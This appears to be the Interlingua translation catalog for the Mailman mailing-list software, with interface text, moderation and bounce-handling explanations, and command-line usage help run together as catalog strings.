        in le lista del abonatos?<b>lingua</b> -- Lingua preferite per le usator<b>mod</b> -- Signo de moderation pro le usator.  Si isto es
        active, le messages de iste usator essera moderate, alteremente
        illos essera approbate.<b>sin duples</b> -- Le membro vole evitar duplicatos del
        mesme message?<b>sin posta</b> -- Es le livration al membro dishabilitate?  In tal caso,
        on dara un abbreviation del ration pro dishabilitation:
            <ul><li><b>U</b> -- Le livration esseva dishabilitate per le usator
                    in su pagina de optiones personal.
                <li><b>A</b> -- Le livration esseva dishabilitate per le administratores
                    del lista.
                <li><b>R</b> -- Le livration esseva dishabilitate per le systema a causa
                    de excesso de rebattimentos del adresse del membro.
                <li><b>?</b> -- Le ration del dishabilitation es incognite.
                    Iste es le caso de tote abonamentos dishabilitate in precedente
                    versiones de Mailman.
            </ul><b>sin propries</b> -- Le membro vole evitar copias de su
        proprie messages?<b>texto</b> -- Si ille recipe summarios, esque le membro obtene
        summarios textual?  (alteremente, MIME)Attributo <b>real_name</b> (nomine real) non
            cambiate!  Illo debe differer del nomine del lista solmente
            pro capitalisation.<b>disabona</b> -- Clicca pro disabonar le membro.<br>(Detalios pro <b>%(varname)s</b>)<br>(Edita <b>%(varname)s</b>)<br><em>...selectiona un file a cargar</em><br><br><em><strong>Nota:</strong>
        definir iste valor executa un action immediate, ma non modifica un
        stato permanente.</em><br>Retorna al <em>(%(num_concealed)d membros private non monstrate)</em><em>(1 membro private non monstrate)</em><em><strong>Attention:</strong> Cambiar iste option hic
    poterea causar le desynchronisation de altere schermos.  Sia secur de
    recargar tote altere paginas que monstra iste option.  Tu pote etiam
    <em>Scribe le texto infra, o...</em><br><em>Le message con id #%(id)d es corrupte.<em>Le message con id #%(id)d esseva perdite.<em>Nulle thema definite</em><em>Non disponibile</em><em>Le expeditor es nunc un membro de iste lista</em><em>Si, io vermente vole disabonar me</em><em>non disponibile</em><li>Activa le moderation pro tote le abonatos,
            includente illos non currentemente visualisate<mancante><p>%(note)s

            <p>Tu pote haber disactivate le livration intentionalmente,
            o illo pote esser causate per retornos de tu adresse de
            e-posta.  In omne caso, pro rehabilitar le livration, cambia le
            %(link)s optiones infra.  Contacta %(mailto)s si tu ha
            questiones o necessita adjuta.<p>(Nota que isto es un lista de parapluvia, intendite
            a haber solmente altere listas como membros.  Inter altere cosas,
            isto significa que tu requesta de confirmation essera expedite al
            `%conto de (sfx)s de tu adresse.)<p>(Invia questiones e commentarios a <p>... <b><i>or</i></b> selige tu entrara del
                      lista de abonatos (reguarda in supra).<p><em>Pro vider plus de membros, clicca sur le appropriate
        intervallo listate infra:</em><p>Infra es le lista de tote listas presente in
            %(hostname)s.  Clicca sur un numine pro haber plus informationes
            super le lista, o pro abonar te, disabonar te, e cambiar le preferentias
            de tu abonamento.<p>Infra es le collection del listas %(mailmanlink)s
            visibile al publico in %(hostname)s.  Clicca sur le nomine de
            un lista pro vider su paginas de configuration.<p>Il non ha currentemente listas %(mailmanlink)s
            visibile publicamente in %(hostname)s.<p>Actualmente il non ha listas %(mailmanlink)s visibile
            publicamente in %(hostname)s.<p>Nos ha recipite alcun rebattimentos recente de tu
            adresse.  Tu actual <em>puncto de rebattimento</em> es %(score)s de un
            maximo de %(total)s.  Per favor, controla que tu adresse de
            abonamento es correcte, e que il ha nulle problemas de libramento
            al adresse.  Tu puncto de rebattimento essera automaticamente restartate,
            si le problema es corrigite tosto.<p>Nos ha recentemente recepite errores de tu adresse.
            Tu <em>ration de errores</em> actual es %(score)s e le maximo
            es %(total)s.  Per favor controla que tu adresse es correcte e
            que il non ha problemas con le livration del posta a iste adresse.
            Tu ration de errores essera automaticamente nullificate si le
            problemas es corrigite tosto.Rescriptura del <tt>Reply-To:</tt><ul><li><b>Tene</b> -- isto tene le message pro approbamento
             per le moderator(es) del lista.

             <p><li><b>Rejecta</b> -- isto rejecta automaticamente le message per
             inviar un notitia de rebattimento al autor del invio.  Le texto del
             notitia de rebattimento pote esser <a
             href="?VARHELP=privacy/sender/member_moderation_notice"
             >configurate per te</a>.

             <p><li><b>Discarta</b> -- isto simplemente discarta le message sin
             notificar le autor del invio.
             </ul>?AUn message de confirmation ha essite inviate a %(newaddr)s.Un summario ha essite expedite.Un nomine del lista es requiriteUn promemoria de tu contrasigno te ha essite inviate.Un description concise que identifica iste lista.AcceptaAcceptaRecognosce le invio del membroAction a prender pro messages de non-abonatos pro le qual nulle
             action explicite es definite.Action a executar pro tote iste messages suspendite:Action a prender, quando un message corresponde al regulas del
             filtro de contento.Action a prender quando un membro moderate invia messages
             al lista.Action:Adde <b>%(esender)s</b> a un de iste filtros de expeditor:Adde un traduction non-lanuginose al dictionario.Adde un nove elemento...Altere actiones pro le abonatosPreferentias additionalIn ultra, reinvia iste message a: Adresse/nomineAdresse:Le adresses non corresponde!Adresses in iste lista es prohibite directemente de abonar
             se a iste lista de correspondentia sin moderation ulterior requirite.  Adde
             adresses un per linea; comencia le linea per un signo ^ pro
             designar un equal regular de expression.Adresses non pote esser vacueAdresse del administrator:Requestas administrative pro le lista:AdministratorLe contrasignos de administrator non coincideTests de Administrivia va controlar messages pro vider, si illos es
             vermente requestas administrative (como abonar se,
             disabonar se, etc.), e va adder lo al serie de requestas
             administrative. Le administrator es notificate de nove requestas
             in le processo.Face reclamo pro iste lista quando gente demanda qual listas es in
             iste machina?Post filtrar le contento, le message esseva vacueDe novo pro confirmar contrasigno: Nomines alias (regexps) valide pro destinationes explicite
             in to o cc pro iste lista.'All' activa tote le qrunners in supraJa es un membroJam es un membro: %(membro)sRemove etiam le archivos?Altere adresses acceptabile quando le option
             `require_explicit_destination' es habilitate.  Iste option
             vole un lista de expressiones regular, uno pro linea, que es
             comparate con cata destinatario del message.  Le comparation
             es facite con le function re.match() de Python, i.e. le
             expressiones es ancorate al initio del catena.
             
             <p>Pro retrocompatibilitate con Mailman 1.1, si le regexp non
             contine un `@', alora le patrono es comparate solmente con le
             prime parte del adresse del destinatario.  Si le comparation
             falli, o si le patrono contine un `@', alora le motivo es
             comparate con le adresse complete.
             
             <p>Comparar con solmente le parte local es deprecate; in un
             version futur, le patrono essera sempre comparate con le
             integre adresse del destinatario.SempreUn attachamento in formato HTML esseva removite...
Adresse de Internet: %(url)s
On tentava de abonar tu adresse al lista %(listaddr)s.
Tu jam es un abonato de iste lista.

Nota que le lista del abonatos non es public, ergo il es possibile que un
persona in mal fide probaba a obtener iste information. Isto esserea
un violation del privacy, ma nos lo impediva.

Si tu submitteva le requesta de abonamento perque tu oblidava que tu
es jam abonate al lista, alora tu pote ignorar iste message. Si tu suspecta
que alicun proba a discoperir si tu es un membro de iste lista, e tu es
preoccupate super tu privacy, alora tu pote inviar un message al
administrator del lista a %(listowner)s.
Un description introductori - alcun phrases - super le
             lista.  Illo essera includite, in formato HTML, al summitate del pagina de information
             del lista.  Nove lineas va finir cata paragrapho - reguarda le detalios
             pro plus de information.Cata unoApprobaApraprilArchiva messages?Optiones de archivationSecundo besonioAugaugustoAuthentication fallite.Autorisation non concedite.Notification de delition automaticAuto-genera le contrasigno initial del lista?Auto-responsaCharacteristicas del auto-responsa.<p>

In le quadros de texto infra, constructiones del texto es exequite con
le sequente clave/substitutiones de valor:
<p><ul>
    <li><b>listname</b> - <em>provide le nomine del lista de correspondentia</em>
    <li><b>listurl</b> - <em>provide le adresse al informationes del lista</em>
    <li><b>requestemail</b> - <em>provide le adresse -requesta del lista</em>
    <li><b>owneremail</b> - <em>provide le adresse del possessor del lista</em>
</ul>

<p>Pro cata quadro de texto tu pote o inserer le texto directemente in le cassa
textual, o tu pote specificar un file in tu computator local pro cargar como le texto.Auto-responsa a tu message al lista de correspondentia "%(realname)s" Texto de auto-responsa a esser inviate a messages al possessor (-owner).Texto de auto-responsa a esser inviate a messages de -requestTexto de auto-responsa a inviar a expeditores al lista de correspondentia.Attendente le approbation del moderatorRMal option de --digest: %(kind)sMal option de --nomail: %(why)sIncorrecte typo de MIME ignorate: %(spectype)sSpecification de URL invalideContrasigno de approbation errate. Le message es ancora suspendite.Argumento incorrecte: %(arg)sArgumentos errate: %(strargs)sCommando incorrecte: %(command)sCodice de confirmation invalideIncorrecte specification de summario: %(arg)sIncorrecte adresse de e-posta pro option %(property)s: %(val)sAdresse de e-posta errateValor de signo de moderation errateAdresse de e-posta del proprietario invalide: %(s)sMal directorio de cauda: %(qdir)sExpression regular invalide: Incorrecte commando de fixar: %(subcmd)sValor incorrecte pro <a href="?VARHELP=bounce/%(property)s"
                >%(property)s</a>: %(val)sAdresse de e-posta invalideErrate/invalide adresse email: %(member)sErrate/invalide adresse email: linea vacueOptiones inserite erroneemente:
 %(record)sBanni <b>%(esender)s</b>, prohibiente le de abonar se a iste lista
                    in le futuroLista de prohibitionCharacteristicas del summario a paccos.Infra, adde texto additional a adder al initio de
    tu invitation o al notification de abonamento.  Include al minus
    un linea vacue al fin...Copias cec (BCC) o altere destinationes implicite
non es permittite.  Essaya reinviar tu message per explicitemente includer le adresse
del lista in le quadros A: o Cc:Notification de action de rebattimento de messagesSensitivitate de detection de rebattimentoProcesso de rebattimentoPost cliccar le button <em>Promemoria</em> button, tu
    contrasigno te essera inviate in e-posta.Post cliccar le button <em>Disabona</em>, un message
    de confirmation te essera inviate in e-posta.  Iste message habera un
    ligamine que tu debera cliccar pro completar le procedura de remotion
    (tu etiam pote confirmar via e-posta; vide le instructiones in le message
    de confirmation).Como standard, debe messages de nove membros al lista esser moderate?Per poner iste valor a <em>No</em>, tu disactiva tote
             processamento automatic de rebattimento pro iste lista, totevia
             messages rebattite continua esser delite, assi que le administrator del lista
             non submerge in illos.Per fixar iste valor a <em>No</em>, tu disactiva
             messages de notification que es normalmente inviate al possessor del lista,
             quando un membro es disabonate a causa de rebattimentos excessive.  Un
             essayo de informar le membro essera facite sempre.Per fixar iste valor a <em>No</em>, tu disactiva
             messages de notification messages que normalmente es inviate al possessor del lista,
             quando le libramento a un membro es disactivate a causa de rebattimentos excessive.
             Un essayo de notificar le membro essera facite sempre.Error del script CGIPote membros del lista seliger reciper traffico del lista impacchettate in summarios?Pote abonatos seliger reciper messages immediatemente
             in vice de summarios combinate?On non pote lassar le pagina vacue.CancellaCancella e discartaCancella le postage de message suspenditeCancella mi requesta de abonamentoCancella postageImpossibile aperir le file mbox %(mbox)s: %(msg)sImpossibile disabonar non-membros:catalanoTecto al numero de destinatarios acceptate pro un message.Cambia mi adresse e nomineCambia mi contrasignoCambia adresseCambia le contrasignos de proprietate del listaRequesta de cambio de adresse confirmateCambia contrasignos pro le lista: %(listname)schinese (China)chinese (Taiwan)Blanca le camposInactiva le signo <em>moderate</em> pro iste membroClicca ci pro le lista del Clicca ci pro occultar le legenda de iste tabella.Clicca ci pro monstrar le legenda de iste tabella.Clicca ci pro recargar le pagina.Clicca sur un ligamine pro visitar tu pagina de optiones
        pro le lista seligite.Clicca sur le numero del message pro vider le message
            in particular, o tu pote Computante indice per discussion
Cela le adresse del membroCategorias de configurationConfirmaConfirma (*) - confirmation per e-posta necessari <br>
                           Approbamento requirite - require approbamento del administrator
                           del lista pro abonamentos <br>
                           Confirma e approba - e confirma e approba
                           
                           <p>(*) si alcuno demanda un abonamento,
                           Mailman le invia un notitia con un numero unic
                           de requesta de abonamento al qual ille debe responder pro
                           poter abonar se.<br> Isto impedi
                           personas maleficente (o malitiose) de crear
                           abonamentos pro alteres sin lor accepto.Confirma le contrasigno de administrator:Confirma e approbaConfirma le requesta de cambio de adresseConfirma le contrasigno:Confirma le contrasigno de moderator:Confirma le requesta de abonamentoConfirma le requesta de disabonamentoUn confirmation de tu adresse email es requirite, pro impedir a alicuno de
abonar te sin tu permission.  Instructiones te es inviate a %(email)s.
Nota que tu abonamento non es active usque quando tu lo confirma.Le codice de confirmation esseva vacue.Codice de confirmation:Confirmation successoseNotification de message filtrate pro contentoFiltro&nbsp;de&nbsp;contentoContinua a attender le approbationNon poteva aperir le file pro leger: %(filename)s.Non poteva aperir file pro scriber:Crea listaCrea un lista de correspondentia in %(hostname)sCrea un nove lista de correspondentia sin usatores.

Usage: %(PROGRAM)s [options] [listname [listadmin-addr [admin-password]]]

Optiones:

    -l language
    --language=language
        Selige le lingua preferite del lista `language', que debe esser un codice
        lingual de duo litteras.

    -u urlhost
    --urlhost=urlhost
        Da al interfacie retal del lista un nomine de hospite.

    -e emailhost
    --emailhost=emailhost
        Da un nomine de dominio del e-posta al lista.

    -q/--quiet
        Normalmente le administrator es notificate per e-posta (post un requesta) que
        le lista ha essite create. Iste option supprime le requesta e notification.
        

    -h/--help
        Imprime iste texto de adjuta e exi.

On pote specificar quante del argumentos on desira in le linea de commando:
tu essera demandate del mancantes.

Cata lista de Mailman ha duo parametros que defini le nomine standard del hospite
pro e-posta externe, e le adresse standard de omne interfacies retal. Quando on
configura Mailman, certe standards esseva calculate, ma si tu curre multiple sitos
virtual de Mailman, le standards forsan non es apte pro le lista de correspondentia
que tu crea.

On pote anque specificar le dominio in le qual crear le nove lista per typar le commando
como isto:

    newlist --urlhost=www.mydom.ain mylist

ubi `www.mydom.ain' debe esser le nomine del base de hospite pro le adresse a iste listas
del hospites virtual. P.ex. con iste preferentia, gente pote vider le supervista general del
lista a http://www.mydom.ain/mailman/listinfo. Anque, www.mydom.ain
debe esser un clave in le determination de VIRTUAL_HOSTS in mm_cfg.py/Defaults.py si
le nomine de hospita del e-posta es determinate automaticamente.

Si tu desira le nomine de hospite del e-posta differente de illo cercate per le
VIRTUAL_HOSTS, o si urlhost non es registrate in VIRTUAL_HOSTS, ti pote specificar
`emailhost' como isto:

    newlist --urlhost=www.mydom.ain --emailhost=mydom.ain mylist

ubi `mydom.ain' es le nomine del dominio del posta. Si tu non specifica le emailhost,
urlhost non es in le lista virtual del hospite, alora mm_cfg.DEFAULT_EMAIL_HOST essera
usate pro le interfacie del e-posta.

Pro compatibilitate a retro, on pote anque specificar le dominio a crear le nove
lista per orthographiar le nomine del lista como isto:

    mylist@www.mydom.ain

ubi www.mydom.ain es usate pro `urlhost' ma illo anque essera usate pro
`emailhost' si illo non se trova in le tabula del hospite virtual. Nota que
'--urlhost' e '--emailhost' ha precedentia a iste notation.

Si on orthographia le nomine del lista como `mylist', le nomine del hospite del
e-posta essera prendite de DEFAULT_EMAIL_HOST e le adresse de DEFAULT_URL (como
definite in le file Defaults.py o superscribite per preferentias in mm_cfg.py).

Note that listnames are forced to lowercase.
Crear un altere listaCreante directorio de archivoscroatotchecoQuotidiandaneseBase de datos actualisate...DecdecembreLingua de standard de iste lista.Preferentias standard pro nove membros del lista.<input
             type="hidden" name="new_member_options" value="ignore">PostponeEliminaElimina iste listaElimina iste listaLivrate per Mailman<br>version %(version)sDescriptionDescription:Description:  %(description)sInstructiones detaliate pro le pannello de controloSummarioNota de pede del digestoCapite de digestoMembros de summario:Optiones de summarioInactiveDiscartaDiscarta tote messages marcate <em>Postpone</em>Discarta messages tenite plus ancian que iste numero de dies.
            Usa 0 pro nulle discartar automatic.DiscartaNon expedi un copia del proprie messages del membronederlandeseOmne regula de filtro ha duo partes: un lista de expressiones
             regular, uno per linea, e un action a prender.  Mailman
             compara le lineas de testa del message con cata expression e
             si uno corresponde, le message es rejectate, suspendite o
             discartate in base al action que tu specifica.  Usa
             <em>postpone</em> pro dishabilitar temporaneemente un regula.

             Tu pote haber plus que un regula pro tu lista.  In ille caso,
             omne regula es comparate a turno, usque le prime correspondentia

             Nota que le lineas de testa es colligite de tote le
             attachamentos (excepte pro le message usual de mailman) e
             comparate con le expressiones regular.  Con iste function,
             tu pote efficacemente eliminar le messages qui contine files
             de typos o con extensiones periculose.Cata membro del lista ha un <em>marca de moderation</em> dicente
             si messages de membros del lista pote esser expedite directemente al
             lista o primo debe esser approbate per le moderator del lista.  Si le
             marca de moderation es activate, invios de membros del lista debe esser
             approbate primo.  Le administrator del lista pote decider, si le
             invios de individuos specific essera moderate o non.

             <p>Quando un membro se abona, le marca initial de moderation
             prende su valor de iste option.  Disactiva iste option pro acceptar
             invios de membros como standard.  Activa iste option pro, como standard,
             moderar primo invios de membros.  On pote sempre manualmente fixar le
             moderation de membros individual per usar le
             schermos del <a href="%(adminurl)s/members">administration de membrato
             </a>.A cata abonato es assignate un puncto de rebattimento como un numero fluente
             de punctos.  Quando Mailman recipe un rebattimento de un membro del
             lista, le puncto de iste membro es incrementate.  Rebattimentos dur (errores
             fatal) augmenta le puncto per 1, rebattimentos molle (errores
             temporari) augmenta le puncto per 0,5.   Solmente un rebattimento per die
             conta contra le puncto de un membro, dunque mesmo si 10 rebattimentos es
             recipite pro un membro al mesme die, le puncto va augmentar
             per solmente 1.

             Iste variabile describe le limite superior del puncto de rebattimento de un
             membro; si plus alte, illo es automaticamente disactivate, ma non
             removite del lista de correspondentia.Cata parola clave de thema es de facto un expression regular,
             que essera comparate con le capites <code>Keywords:</code> e
             <code>Subject:</code> del message.  Nota que le prime pauc
             lineas del message pote equalmente continer un "capite"
             <code>Keywords:</code> e <code>Subject:</code> que essera
             equalmente comparate.Edita le HTML: ErrorModifica optionesModifica le paginas HTML public e le files de textoInvia me mi contrasigno per e-postaAdresse e-posta:Stop de emergentia pro tote traffico del lista es in effectoLe moderation de emergentia de tote le traffico del lista es habilitateModeration de emergentia de tote traffico del lista.Contrasignos de lista vacue non es permittiteActiveCodifica le
             <a href="?VARHELP=general/subject_prefix">prefixo
             de subjecto</a> mesmo si illo consiste de solmente signos ASCII?Fin de anglese (SUA)Insere le cookie de confirmationScribe le nove contrasigno de administrator:Scribe le nove contrasigno de moderator:Scribe un adresse pro linea infra...Scribe le e-posta del persona qui administra le lista: Scribe le nomine del lista: ErrorError in disabonar:Error in invitar:Error in aperir le lista %(listname)s... Omittente.Error in abonar:Error: estonianobascoCapite explicite de <tt>Reply-To:</tt>.Adresse expliciteFebfebruarioFiltra via messages duplice a membros del lista (si possibile)Regulas pro filtrar in base al testa del messageTrova le membro %(link)s:finnesePrimeNota de pede addite a cata summarioPede addite a messages inviate a membros regular del listaPro alcun ration non cognosciteReinvia le messages (individualmente) a:Re-invia de message moderateReinvia al possessor del listaOptiones de reinvioQuartefranceseVenDe:Plen personalisationCharacteristicas fundamental del lista, includente information
            descriptive e actos basic.Optiones generalPagina general de informationes del listaPersonalitate general del listaGenera catalogo de message binari de descriotion de traduction textual.

Iste programma converte un catalogo de messages textual in stilo Uniforum (file .po)
in un catalogo binari GNU (file .mo). Isto es essentialmente le mesme function como
le programma GNU msgfmt, totevia illo es un implementation plus simple.

Usage: msgfmt.py [OPTIONS] filename.po

Optiones:
    -o file
    --output-file=file
        Specifica le file de resultato al qual scriber. Si omittite, le rendimento essera
        facite in un file nominate filename.mo (basate sur le nomine del file de entrata).

    -h
    --help
        Imprime iste message e exi.

    -V
    --version
        Monstra information del information e exi.
germanoGNU non es UnixVade al archivos del listaVade al pagina de information general del listaTexto gzip-ate%(sz)sHTML non modificate.Attachamentos in formato HTML esseva removiteHTML modificate con successo.Capite addite a cata summarioCapite addite a messages inviate a membros regular del listaFiltros pro capites require un patrono.
                Filtros incomplete essera ignorate.Filtros del testasCela le expeditor del message e replacia lo per le adresse
             del lista (remove le campos From, Sender e Reply-To)Preme Enter pro notificar le possessor de %(listname)s...SuspendeSuspende messages habente un testa correspondente a un regexp.SuspendeNomine de hospite preferite pro e-posta a iste lista.Adresse invalide (characteres illegal)Adresse hostil (characteres illegal): %(member)sEssayo de abonamento hostil detegiteQuanto grande i Kb debe un summario esser ante de esser expedite?Quante admonitiones de <em>Tu membrato es disactivate</em> un membro
             disactivate debe reciper ante que su adresse es removite del
             lista de correspondentia.  Fixa a 0 pro immediatemente remover un adresse del
             lista, quando le puncto de rebattimento excede le limite.  Iste
             valor debe esser un integre.Quante lineas del corpore debe esser considerate pro le             corresponentias de themas?Quanto sovente un nove volume de archivo debe esser create?Quanto sovente debe un nove volumine de summarios esser comenciate?hungaroSi un message ha iste numero, o plus, de destinatarios, illo
             essera suspendite pro approbation.  Usa 0 pro non limitar.Si tu rejecta iste message,<br>per favor explica (optional):Si tu responde a iste message, mantenente le capite Subjecto: intacte va facer Mailman
deler le message.  Face assi, si le message es spam.  Si tu responde a
iste message e include un capite Approbate: con le contrasigno del lista in illo,
le message essera acceptate pro expedition al lista.  Le capite Approbate: pote
anque apparer in le prime linea del texto del responsa.Si tu forni un contrasigno, tu debe confirmar lo.Le le lingua standard de tu lista de correspondentia usa un alphabeto
             non-ASCII, e le prefixo contine signos non-ASCII, le
             prefixo debe sempre esser codificate secundo le standards
             relevante.  Si tu prefixo contine solmente signos ASCII,
             tu pote fixar iste preferentia a <em>Non jammais</em> pro
             disactivar le codification del prefixo.  Isto pote facer le capites de subjecto
             un poco plus legibile pro usatores con programmas de e-posta que non
             tracta correctemente codificationes non-ASCII.

             <p>Nota que si tu lista de correspondentia recipe e capites de subjecto
             codificate e non codificate tu pote desirar seliger <em>Como
             desirate</em>.  Usante iste preferentia, Mailman non va codificar prefixos
             ASCII quando le resto del capite contine solmente signos
             ASCII, ma si le capite original contine signos non-ASCII,
             illo va codificar le prefixo.  Isto evita un ambiguitate
             in le standards que pote facer certe programmas de e-posta monstrar
             spatios extra o mancante inter le prefixo e le capite
             original.Ignorante cambios al membro eliminate: %(user)sIgnorante partes MIME que non es texto purAdresse de e-posta illegal: %(safeuser)sAdresse de e-posta illegalNomine de lista invalide: %(s)sAnte cambiar le option de abonamento, tu debe authenticar
    te per scriber tu %(extra)scontrasigno in le section infra.
    Si tu non memora tu contrasigno, tu pote reciper lo in e-posta
    per cliccar le button infra.  Si tu vole solmente disabonar te de iste lista,
    clicca in le button <em>Disabona</em> e un message de
    confirmation te essera inviate.

    <p><strong><em>Importante:</em></strong>  De iste puncto in
    avante, tu debe haber le cookies abilitate in tu navigator
    o tu cambios non habera ulle effecto.
    Contrasigno initial de %(listname)s: Lista initial del linguas  supportate.  <p>Nota que si tu non selige
        al minus un lingua initial, le lista usara le lingua del servitor
        predefinite, %(deflang)sAdresse del proprietario initial:Contrasigno initial del lista:Le contrasignos initial del lista non coincideInjecta un message de un file a in le cauda entrante de Mailman.

Usage: inject [options] [filename]

Optiones:

    -h / --help
        Imprime iste texto e exi.

    -l listname
    --listname=listname
        Le nomine del lista al qual injectar le message. Requirite.

    -q queuename
    --queue=queuename
        Le nomine del cauda al qual injectar le message. Le nomine del cauda debe
        esser un del bibliothecas in le directorio de qfiles. Si omittite, le
        cauda entrante es usate.

nomine de file es le nomine del file del message de texto pur a injectar. Si omittite,
insertion standard es usate.
Interrumpite...Codice de confirmation invalide.  Il es
            possibile que tu proba confirmar un requesta pro un
            addresse que ja ha essite disabonate.Codice de confirmation invalide. Nota que le codices de confirmation
expira approximatemente %(days)s dies post le requesta initial. Si tu
confirmation ha expirate, proba a re-submitter tu requesta o message
original.Option invalide al script CGIOptiones invalide al script CGI.Valor invalide pro le variabile: %(property)sInvitaEsque le file sorgente del archivio es pro archivation public o private?Esque qrunner de facto curre?Es le approbamento del moderator del lista demandate pro disabonar se?
             (<em>No</em> es recommendate)italianoJanjanuariojaponeseJuljulioJunjuniocoreanoOptiones&nbsp;lingualLinguas supportate per iste lista.Ultime notification de auto-responsa pro hodieLassa le campos de contrasigno initial (e confirmation)
                in blanco si tu vole que Mailman los genera
                automaticamente.Ancian filtros anti-spamListaCharacteristicas del listaRobot pro adjuta: %(requestaddr)sIdentitate del listaProprietarios:  %(owneraddr)sLista administrator(es) solmenteLista omne listas de correspondentia.

Usage: %(program)s [options]

Ubi:

    -a / --advertised
        Lista solmente le listas de correspondentia publicamente annunciate

    --virtual-host-overview=domain
    -V domain
        Lista solmente le listas de correspondentia pertinente al dominio virtual date.
        Isto solmente functiona, si le variabile VIRTUAL_HOST_OVERVIEW es
        fixate.

    -b / --bare
        Monstra solmente le nomine del lista, sin description.

    -h / --help
        Imprime iste texto e exi.

Lista tote membros del lista de correspondentia.

Usage: %(PROGRAM)s [options] listname

Ubi:

    --output file
    -o file
        Scribe le rendimento a un file specificate in vice del standard.

    --regular / -r
        Imprime solmente le membros regular (non-digesto).

    --digest[=kind] / -d [kind]
        Imprime solmente le membros de digesto. Argumento optional pote esser "mime" o
        "plain" lo que imprime solmente le membros de digesto qui recipe ille typo de
        digesto.

    --nomail[=why] / -n [why]
        Imprime le membros qui ha livramento disactivate. Argumento optional pote esser
        "byadmin", "byuser", "bybounce", o "unknown" que imprime solmente le
        usatores qui ha disactivate livramento pro iste ration. Illo pote anque esser
        "enabled" lo que imprime solmente le membros pro le quales livramento es
        activate.

    --fullnames / -f
        Include le plen nomines in le rendimento.

    --preserve / -p
        Extrahe adresses de membros in le maniera in le qual illos esseva addite al
        lista. Alteremente, adresses es imprimite in minusculas.

    --invalid / -i
        Imprime solmente le adresses del lista de membrato que es invalide.
        Ignora -r, -d, -n.

    --unicode / -u
        Imprime adresses conservate como objectos de Unicode in vice de normal
        objectos de catena. Ignora -r, -d, -n.

    --help
    -h
        Imprime iste message de adjuta e exi.

    listname es le nomines del lista de correspondentia a usar.

Nota que si ni -r o -d es addite, membros regular es imprimite primo,
sequite per membros de digesto, ma nulle indication es date quando al stato
de adresse.
Lista omne possessores del lista de correspondentia.

Usage: %(program)s [options] listname ...

Ubi:

    --all-vhost=vhost
    -v=vhost
        Lista le possessores de omne listas pro le mentionate hospite virtual.

    --all
    -a
        Lista le possessores de omne listas in iste systema.

    --help
    -h
        Imprime iste message de adjuta e exi.

`listname' es le nomine del lista cuje possessores debe esser imprimite. Tu pote
haber plus que un lista nominate in le linea de commando.
Lista ja existe: %(listname)sLista ja existe: %(safelistname)sContrasigno (de authentication) del creator del lista:Lista membrosModeratores (e administratores) del lista recipe quotidianmente
             rememorationes de requestas que require approbation, como abonamentos a
             un lista moderate o invios mantenite pro un ration o
             un altere.  Activante iste option, notitias essera inviate
             immediatemente, quando nove requestas arriva.Lista mi altere abonamentosLe nomine de lista es requiriteLe nomine del lista es requirite.Le nomine del lista non debe includer "@": %(safelistname)sNomine del lista:    %(listname)sLista de adresses que es prohibite de membrato in iste
             lista de correspondentia.Lista de adresses de non-membros, cuje invios debe esser
             acceptate automaticamente.Lista de adresses de non-abonatos cuje messages essera
             automaticamente discartate.Lista de adresses de non-abonatos cuje messages essera
             automaticamente rejectate.Lista de adresses de non-membros, cuje invios essera
             tenite immediatemente pro moderation.Contrasigno del lista:Abonamentos de %(safeuser)s in %(hostname)sLista le possessores de un lista de correspondentia, o de tote listas.

Usage: %(PROGRAM)s [options] [listname ...]
Optiones:

    -w / --with-listnames
        Gruppa le possessiones secundo nomines de lista e include le nomines de lista in le
        rendimento. Alteremente, le possessores essera assortite e basate unicamente al
        adresse de e-posta.

    -m / --moderators
        Include moderatores del lista in le extracto.

    -h / --help
        Imprime iste message de adjuta e exi.

    listname
        Imprime le possessores del listas specificate. Plus que uno pote apparer
        post le optiones. Si nulle nomines de listas es providite, le possessores
        de tote le listas essera monstrate.
Lista parolas clave de topicoRegulas de archivation del traffico.Texto specific del lista prependite al message de benvenita a
             nove abonatosLista:Lista: %(listname)s, 	Possessores: %(owners)slituanoAperi sessionClaude sessionClaude sessionMIMELivration del postaPontes&nbsp;Posta&lt;-&gt;NovasServicios de ponte Posta-a-Novas e Novas-a-Posta.Requesta de crear lista de correspondentia pro le lista %(listname)sResultatos del creation del lista de correspondentiaResultatos del elimination del listaRequesta de remover lista de correspondentia pro le lista %(listname)sMailmanAdjuta pro le optiones del lista %(varname)sError in le pannello de controloMailman prefige le campo <tt>Subject:</tt>con le
             <a href="?VARHELP=general/subject_prefix">texto
             personalisabile</a> e normalmente iste prefixo essera
             transportate a Usenet.  Si tu pone iste option a <em>No</em>,
             tu disabilita le prefixo pro le messages exportate.  Obviemente
             si jam il non ha prefixos in le <tt>Subject:</tt> pro le lista,
             il non habera prefixos e in le gruppo.Alerta de privacy MailmanMailman non vole acceptar le adresse de e-posta indicate como un adresse valide.
(I.e. illo debe continer un @.)Face cambios in le section sequente, postea confirma los
        con le button <em>Confirma tu cambios</em> infra.Multe (quasi totes) spams non lista explicitemente lor
             myriade de destinationes in le adresses explicite - de
             facto le campo To: ha sovente un adresse false pro provocar
             obfuscation.  Le vinculo se applica solo al parte del adresse
             precedente le signo '@', ma captura comocunque tote iste spams.

             <p>The costo es que le lista sin retardo non acceptara ulle
             messages inviate per altere adresses, a minus que

             <ol>
                 <li>Le adresse mittente es le mesme, o

                 <li>Le adresse mittente es includite in le optiones que
                 specifica le aliases acceptabile del lista.

             </ol>MarmartioRemotiones in massaAbonamentos in massaControlo in massaActualisation completateElimination&nbsp;in&nbsp;massaAbonamento&nbsp;in&nbsp;massaLongor maximal in kilobytes (KB) de un message.  Usa 0
             pro nulle limite.maioFiltros de membrosLe nomine del abonato ha essite cambiate con successo. Lista del abonatosExposition de membratoMembrato rehabilitate.Lista&nbsp;de&nbsp;membratoAdministration&nbsp;de&nbsp;membrato...Extracto del message:Testa del message:Le texto del message es troppo grande: %(size)d bytes con un limite de
%(limit)d KBLe message ha un capite suspecteLe message ha un destination impliciteLe message pote continer administriviaMessage rejectate per equalation a regula de filtroModerateModeratorLe contrasignos de moderator non coincideLunMensualmentePlus informationes: %(listurl)sMove le regula a bassoMove le regula in altoDebe le messages haber le nomine del lista in le destination
             (to, cc) (o un altere nomine acceptabile, listate infra)?Nomine del lista:Nomine:Optiones de lingua natural (internationalisation).Non jammaisNove contrasigno pro %(listname)s: %(notifypassword)sNove contrasigno %(pwdesc)s: Nove contrasigno pro membro %(member)40s: %(randompw)sRequesta de nove abonamento al lista %(realname)s de %(addr)sRequesta de nove disabonamento de %(realname)s de %(addr)sConfiguration del servitor de novasMessage sequente:NoNulle adresse dateNulle processo filio con pid: %(pid)sNulle commando date.Nulle commandos esseva trovate in iste message.
Pro obtener instructiones, invia un message con solmente le parola anglese "help".
